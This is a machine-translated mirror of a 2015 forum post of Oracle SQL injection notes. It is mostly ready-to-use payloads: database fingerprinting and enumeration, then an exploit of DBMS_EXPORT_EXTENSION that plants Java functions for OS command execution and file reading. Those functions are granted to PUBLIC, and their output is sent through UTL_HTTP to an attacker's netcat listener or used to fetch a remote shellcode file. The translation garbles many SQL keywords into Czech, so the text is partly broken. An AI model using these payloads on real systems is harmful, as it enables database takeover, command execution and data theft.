Tento článek je zrcadlovým článkem o strojovém překladu, klikněte zde pro přechod na původní článek.

Pohled: 11931|Odpověď: 0

[Bezpečná komunikace] SQL injection notes oracle

[Kopírovat odkaz]
Zveřejněno 24.01.2015 12:58:17 | | |
Tento příspěvek byl naposledy upraven testem dne 24. 1. 2015 v 13:01

Komentář: --
Není podporováno provádění více vět a federované dotazy jsou podporovány
Názvy databází, tabulek a sloupců jsou všechny psané velkými písmeny.


délka (pole)
ascii(substr(field, N, 1))


a (vyberte count(*) z duálu)>0 -- Určíte, zda je to orákulum nebo ne

Příkaz od n--

a 1=2 sjednocení null, null,.....,null z duálu-- nahraďte null N nebo 'N'

a 1=2 union select null, (sql příkaz) ,.....,null z duálního -- změna na (sql příkaz) na 'N'

a (vyberte count(*) z all_objects kde object_name='UTL_HTTP')>0 -- Zjistěte, zda je UTL_HTTP podporována (exportní IP je známa)

a UTL_HTTP.request('http://LocalIP:port'|| (SQL příkaz)) =1-- Vzdáleně odesílat zprávy lokálnímu, lokálnímu naslouchání nc -vv -l -p 1234


SQL příkazy
Vyberte banner z verze sys.v_$, kde rownum=1 pro dotazování na verzi orákula
vyberte člena z v$logfile kde rownum=1 Dotazujte se na cestu k log souboru (Windows nebo Linux)
Vyberte utl_inaddr.get_host_address z dual pro dotaz na IP poslouchající databázi
Vyberte instance_name z v$instance pro dotazování na SID
Vyberte název z v$database Dotazujte se na aktuální název databáze
Vyberte sys_context ("userenv", 'current_user') z uživatelů databáze s duálními dotazy
Vyberte * z session_roles kde Rownum=1 pro dotazování aktuálních uživatelských oprávnění
Vyberte * z session_roles kde Rownum=1 [a role<>'první oprávnění jméno']



vyberte table_name z user_tables kde rownum=1 První segment tabulky aktuální databáze
Vyberte table_name||','|| tablespace_name z user_tables kde rownum=1 První segment tabulky, databáze (pro ověření to nemusí být v$database)
Vyberte table_name z user_tables kde Rownum=1 a table_name<>'první segment tabulky' Druhý segment tabulky aktuální databáze

vyberte column_name z user_tab_columns kde rownum=1 a table_name='Segment tabulky' První pole odpovídající názvu tabulky
vyberte column_name z user_tab_columns kde rownum=1 a table_name='Segment tabulky' a column_name<>'První pole' Druhé pole odpovídá názvu tabulky

Vyberte pole z tabulkového segmentu, kde rownum=1 porušuje obsah prvního řádku
Vyberte pole z segmentu tabulky, kde Rownum=1 a pole <> 'obsah prvního řádku' zobrazí obsah druhého řádku


Meziknihovní
Vyberte vlastníka z all_tables kde rownum=1 dotazuje na první název databáze
Vyberte vlastníka z all_tables kde rownum=1 a vlastník<> 'První název databáze' pro dotazování na druhé jméno databáze

Vyberte table_name z all_tables kde rownum=1 a owner='název databáze' Dotazujte se na první název tabulky odpovídající databáze
Vyberte table_name z all_tables kde Rownum=1 a owner='název databáze' a table_name<>'první název tabulky' pro dotaz na název druhé tabulky odpovídající databáze

Vyberte column_name z all_tab_columns kde rownum=1 a owner='název databáze' a table_name='segment tabulky' První pole odpovídající názvu tabulky
Vyberte column_name z all_tab_columns kde rownum=1 a owner='název databáze' a table_name='segment tabulky' a column_name<>'první pole' Druhé pole odpovídá názvu tabulky

Vyberte pole z databáze. segment tabulky, kde rownum=1 porušuje obsah prvního řádku
Vyberte pole z databáze. Segment tabulky, kde rownum=1 a pole <> 'Obsah prvního řádku' porušuje obsah druhého řádku





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); víceslovný KONEC; --','SYS',0,'1',0)--

Pokud je 'escaped, používá se chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-příkazy || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Pokud je více vět příliš dlouhých, můžete výrok zapsat do souboru na webu a použít utl_http.request k jeho vyhledání.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Vytvořte JAVA balíček SecTest
runCMD se používá k provádění systémových příkazů
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVÁDĚJ," PROHLAŠUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''', vytvořit nebo nahradit a zkompilovat java zdrojový kód nazvaný "SecTest" jako import java.io.*; public class SecTest rozšiřuje Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zpět sílu; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--

readFile se používá ke čtení souboru
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVÁDĚJ," PROHLAŠUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''', vytvořit nebo nahradit a zkompilovat java zdrojový kód nazvaný "SecTest" jako import java.io.*; public class SecTest rozšiřuje Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zpět sílu; }catch(Exception e){return e.toString(); }}}''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--



Udělení Java oprávnění
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>''''''''''''''''vykonat''''''''); konec; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--



Vytvořit funkci
Funkce SecRunCMD
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecRunCMD(p_cmd in varchar2) return varchar2 jako java name ''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--

Funkce SecReadFile
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 jako language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--



Udělení povolení k vykonání veřejné funkce
SecRunCMD má udělená oprávnění
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNĚTE OKAMŽITĚ PROVÁDĚT ''''udělit vše na SecRunCMD veřejnosti'''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--

SecReadFile
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNĚTE OKAMŽITĚ VYKONÁVAT "vše na SecReadFile pro veřejnost"; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--



Detekuje, zda byla funkce úspěšně vytvořena
a (vyberte count(*) z all_objects kde object_name='SECRUNCMD')>0--
a (vyberte count(*) z all_objects kde object_name='SECREADFILE')>0--



Provést příkaz
a '1'<> (vybrat sys. SecRunCMD('Příkaz spustit') z duálu)--
a '1'<> (vybrat sys. SecReadFile('fyzická adresa souboru') z duálu)--
nebo
a 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null z du--
a 1=2 union select null,...,sys. SecReadFile('fyzická adresa souboru'),...,null z duálu--
nebo
a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) z dual)--
a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Fyzická adresa souboru'),' ',' ',','\n',' ')) z dual)--



Funkce delete
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD'''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--
a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES ('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITĚ PROVEĎTE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONEC; ''; KONEC; --','SYS',0,'1',0) z duálu)--




Předchozí:Mohu žádat o moderaci, jaké podmínky potřebuji?
Další:ORALCE získává název hostitele a IP adresu
Zřeknutí se:
Veškerý software, programovací materiály nebo články publikované organizací Code Farmer Network slouží pouze k učení a výzkumu; Výše uvedený obsah nesmí být používán pro komerční ani nelegální účely, jinak nesou všechny důsledky uživatelé. Informace na tomto webu pocházejí z internetu a spory o autorská práva s tímto webem nesouvisí. Musíte výše uvedený obsah ze svého počítače zcela smazat do 24 hodin od stažení. Pokud se vám program líbí, podporujte prosím originální software, kupte si registraci a získejte lepší skutečné služby. Pokud dojde k jakémukoli porušení, kontaktujte nás prosím e-mailem.

Mail To:help@itsvse.com